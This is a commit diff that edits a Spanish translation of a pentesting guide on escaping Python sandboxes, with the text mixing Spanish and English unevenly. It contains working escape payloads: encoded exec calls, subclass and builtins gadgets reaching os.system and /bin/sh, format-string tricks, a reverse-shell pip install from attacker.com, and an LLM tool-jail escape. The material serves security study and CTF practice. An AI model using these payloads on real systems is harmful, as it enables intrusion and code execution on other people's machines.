Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:38:50 +00:00 · 2025-08-28 12:38:50 +00:00 · 59d2cce675
commit 59d2cce675
parent a2fa3a6e94
6 changed files with 373 additions and 376 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Estos son algunos trucos para bypass las protecciones de python sandbox y ejecutar comandos arbitrarios.
+Estos son algunos trucos para bypass las protecciones de sandbox de python y ejecutar comandos arbitrarios.

 ## Bibliotecas de ejecución de comandos

-Lo primero que debes saber es si puedes ejecutar code directamente con alguna biblioteca ya importada, o si podrías importar cualquiera de estas bibliotecas:
+Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si podrías importar cualquiera de estas librerías:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del python sandbox y para **escribir código** que puedas **ejecutar** para **bypass** el sandbox.
+Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del python sandbox y para **escribir algo de código** que podrías **ejecutar** para **bypass** el sandbox.

-> [!CAUTION] > **Python2 input()** function permite ejecutar código python antes de que el programa falle.
+> [!CAUTION] > La función **Python2 input()** permite ejecutar código python antes de que el programa falle.

-Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando python los módulos): `python3 -c 'import sys; print(sys.path)'`
+Python intenta **cargar librerías desde el directorio actual primero** (el siguiente comando imprimirá desde dónde python está cargando los módulos): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass pickle sandbox con los paquetes python instalados por defecto
+## Bypass pickle sandbox with the default installed python packages

 ### Paquetes por defecto

 You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe librerías arbitrarias** instaladas en el sistema.\
-Por ejemplo, el siguiente pickle, cuando se cargue, importará la librería pip para usarla:
+Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
+For example, the following pickle, when loaded, is going to import the pip library to use it:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -68,7 +68,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
 Para más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pip package
+### Paquete pip

 Truco compartido por **@isHaacK**

@ -77,21 +77,21 @@ Si tienes acceso a `pip` o `pip.main()` puedes instalar un paquete arbitrario y
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Puedes descargar el paquete para crear la reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, modificar el `setup.py` y poner tu IP para la reverse shell**:
+Puedes descargar el paquete para crear la reverse shell aquí. Ten en cuenta que antes de usarlo debes **descomprimirlo, modificar el `setup.py`, y poner tu IP para la reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Este paquete se llama `Reverse`. Sin embargo, fue especialmente diseñado para que cuando salgas de la reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de Python extra instalado en el servidor** cuando te vayas.
+> Este paquete se llama `Reverse`. Sin embargo, fue especialmente creado de modo que cuando salgas de la reverse shell el resto de la instalación falle, por lo que **no dejarás ningún paquete python adicional instalado en el servidor** cuando te vayas.

-## Evaluar código python
+## Eval-ing python code

 > [!WARNING]
-> Ten en cuenta que exec permite strings multilínea y ";", pero eval no lo hace (revisa walrus operator)
+> Ten en cuenta que exec permite cadenas multilínea y ";", pero eval no (revisa walrus operator)

-Si ciertos caracteres están prohibidos puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
+Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypass** la restricción:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 ```
-### Otras librerías que permiten eval python code
+### Otras bibliotecas que permiten eval python code
 ```python
 #Pandas
 import pandas as pd
@ -128,7 +128,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
 ```
 Vea también un escape real de un evaluador sandboxed en generadores de PDF:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] evaluación de expresiones → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcanzar function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener estable el renderizado.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcanzar function.__globals__ y os.system desde atributos evaluados (por ejemplo, color de fuente) y devuelve un valor válido para mantener estable el renderizado.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Evasión de protecciones mediante codificaciones (UTF-7)
+## Bypassing protections through encodings (UTF-7)

-En [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se utiliza para cargar y ejecutar código python arbitrario dentro de un aparente sandbox:
+En [**esta writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -156,11 +156,11 @@ return x
 #+AAo-print(open("/flag.txt").read())
 """.lstrip()
 ```
-También es posible evadirlo usando otras codificaciones, por ejemplo `raw_unicode_escape` y `unicode_escape`.
+También es posible sortearlo usando otras codificaciones, p. ej. `raw_unicode_escape` y `unicode_escape`.

 ## Ejecución de Python sin llamadas

-Si estás dentro de una jail de Python que **no te permite realizar llamadas**, todavía existen formas de **ejecutar funciones arbitrarias, código** y **comandos**.
+Si estás dentro de un python jail que **no te permite realizar llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.

 ### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
 class _:pass
 ```
-### RCE: creación de objetos y sobrecarga
+### RCE creando objetos y sobrecarga

-Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesitar llamarlos directamente**.
+Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesidad de llamarlos directamente**.

 #### RCE con clases personalizadas

-Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para hacer que **ejecuten código arbitrario** cuando se **activen** sin llamarlos directamente.
+Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para que **ejecuten código arbitrario** cuando se **activen** sin llamarlos directamente.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Creando objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-Lo fundamental que nos permiten hacer las metaclases es **crear una instancia de una clase, sin llamar al constructor** directamente, creando una nueva clase con la clase objetivo como metaclase.
+Lo principal que nos permiten hacer las metaclases es **crear una instancia de una clase, sin llamar directamente al constructor**, al crear una nueva clase con la clase objetivo como metaclase.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Creando objetos con excepciones
+#### Creación de objetos con exceptions

-Cuando se **lanza una excepción** se crea un objeto de la **Exception** sin que necesites llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Cuando se **dispara una exception**, se **crea** un objeto de la **Exception** sin que necesites llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -315,15 +315,15 @@ pass
 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (ten en cuenta que aquí también podrías usar otras representaciones en cadena mostradas en la última sección):
+Si puedes acceder al objeto **`__builtins__`** puedes importar librerías (nota que también podrías usar aquí otras representaciones en string mostradas en la última sección):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
 ### Sin Builtins

-Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
-Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de sí que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
+Cuando no tienes `__builtins__` no vas a poder importar nada ni siquiera leer o escribir archivos, ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
+Sin embargo, **por defecto python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos están **también importando funcionalidades peligrosas** en su interior que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.

 En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.

@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globals y locals
+## Globals and locals

-Comprobar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
+Comprobar las **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -417,7 +417,7 @@ Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligro

 #### Accediendo a subclasses con bypasses

-Una de las partes más sensibles de esta técnica es poder **acceder a las subclasses base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()` pero hay **otras formas posibles**:
+Una de las partes más sensibles de esta técnica es poder **access the base subclasses**. En los ejemplos previos esto se hizo usando `''.__class__.__base__.__subclasses__()` pero existen **otras posibles formas**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -445,9 +445,9 @@ defined_func.__class__.__base__.__subclasses__()
 (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
 (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
 ```
-### Encontrar librerías peligrosas cargadas
+### Encontrar bibliotecas peligrosas cargadas

-Por ejemplo, sabiendo que con la librería **`sys`** es posible **importar librerías arbitrarias**, puedes buscar todos los **módulos cargados que hayan importado sys**:
+Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **import arbitrary libraries**, puedes buscar todos los **modules loaded that have imported sys inside of them**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -543,10 +543,10 @@ execute:
 __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
 """
 ```
-## Búsqueda recursiva de Builtins, Globals...
+## Búsqueda recursiva de builtins, globals...

 > [!WARNING]
-> Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** usa este script para **buscar recursivamente lugares donde puedas encontrar ese objeto.**
+> Esto es simplemente **impresionante**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** simplemente usa este script para **encontrar recursivamente lugares donde puedas encontrar ese objeto.**
 ```python
 import os, sys # Import these to find more gadgets

@ -662,7 +662,7 @@ print(SEARCH_FOR)
 if __name__ == "__main__":
 main()
 ```
-Puedes ver la salida de este script en esta página:
+You can check the output of this script on this page:


 {{#ref}}
@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Si **envías** una **string** a python que va a ser **formateada**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder, por ejemplo, a globals o builtins.
+Si envías una **string** a python que va a ser **formatted**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y **elemento de dict** con **corchetes** sin comillas `__globals__[CONFIG]`
+Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y al **elemento de dict** con **corchetes** sin comillas `__globals__[CONFIG]`

-También observa que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+También observa que puedes usar `.__dict__` para enumerar los elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Algunas otras características interesantes de las cadenas de formato es la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
+Otras características interesantes de las cadenas de formato son la posibilidad de **ejecutar** las **funciones** `str`, `repr` y `ascii` en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Además, es posible **code new formatters** en classes:
+Además, es posible **code new formatters** en clases:
 ```python
 class HAL9000(object):
 def __format__(self, format):
@ -711,10 +711,10 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Más ejemplos** sobre **format** **string** ejemplos se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
+**Más ejemplos** sobre **format** **string** pueden encontrarse en [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Consulte también la siguiente página para gadgets que l**eerán información sensible de objetos internos de Python**:
+> Consulta también la siguiente página para gadgets que permitirán **leer información sensible de los objetos internos de Python**:


 {{#ref}}
@ -739,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-Desde [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

 ### From format to RCE loading libraries

-According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
+According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde el disco abusando de la format string vulnerability en python.

 Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.

-Tienes más como este en la sección [**Python execution without calls**](#python-execution-without-calls).
+Puedes ver más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).

-A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
-Sin embargo, es posible usar `[]`. Por tanto, si una librería común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
+Una python format string vuln no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
+Sin embargo, es posible usar `[]`. Por lo tanto, si una librería python común tiene un método **`__getitem__`** o **`__getattr__`** que ejecute código arbitrario, es posible abusar de ellos para obtener RCE.

-Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -774,18 +774,18 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Este gadget permite **cargar una biblioteca desde disco**. Por lo tanto, es necesario de alguna forma **escribir o subir la biblioteca a cargar** correctamente compilada para el servidor atacado.
+Este gadget permite **cargar una biblioteca desde el disco**. Por lo tanto, es necesario de algún modo **escribir o subir la biblioteca a cargar**, compilada correctamente para el servidor atacado.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
 El reto en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.

-## Desentrañando objetos de Python
+## Diseccionando objetos de Python

 > [!TIP]
-> Si quieres **aprender** sobre **python bytecode** en profundidad, lee este **fantástico** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Si quieres **aprender** sobre **python bytecode** en profundidad lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-En algunos CTFs se te podría proporcionar el nombre de una **función personalizada donde reside la flag** y necesitas ver los **entresijos** de la **función** para extraerla.
+En algunos CTFs se te puede proporcionar el nombre de una **función personalizada donde reside la flag** y necesitas ver los **internos** de la **función** para extraerla.

 Esta es la función a inspeccionar:
 ```python
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` y `func_globals` (Igual) obtienen el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
+`__globals__` y `func_globals`(Igual) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -908,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **disassemble** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`) pero puedes deducirlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
+Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **disassemble** la función localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Compilando Python

-Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **need** **execute** it.\
-Como en el siguiente ejemplo, puedes **can access the code object** de esa función, pero solo leyendo el disassemble no **don't know how to calculate the flag** (_imagina una función `calc_flag` más compleja_)
+Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **need** to **execute** it.\
+Como en el siguiente ejemplo, puedes **can access the code object** de esa función, pero solo leyendo el disassemble **don't know how to calculate the flag** (_imagina una función `calc_flag` más compleja_)
 ```python
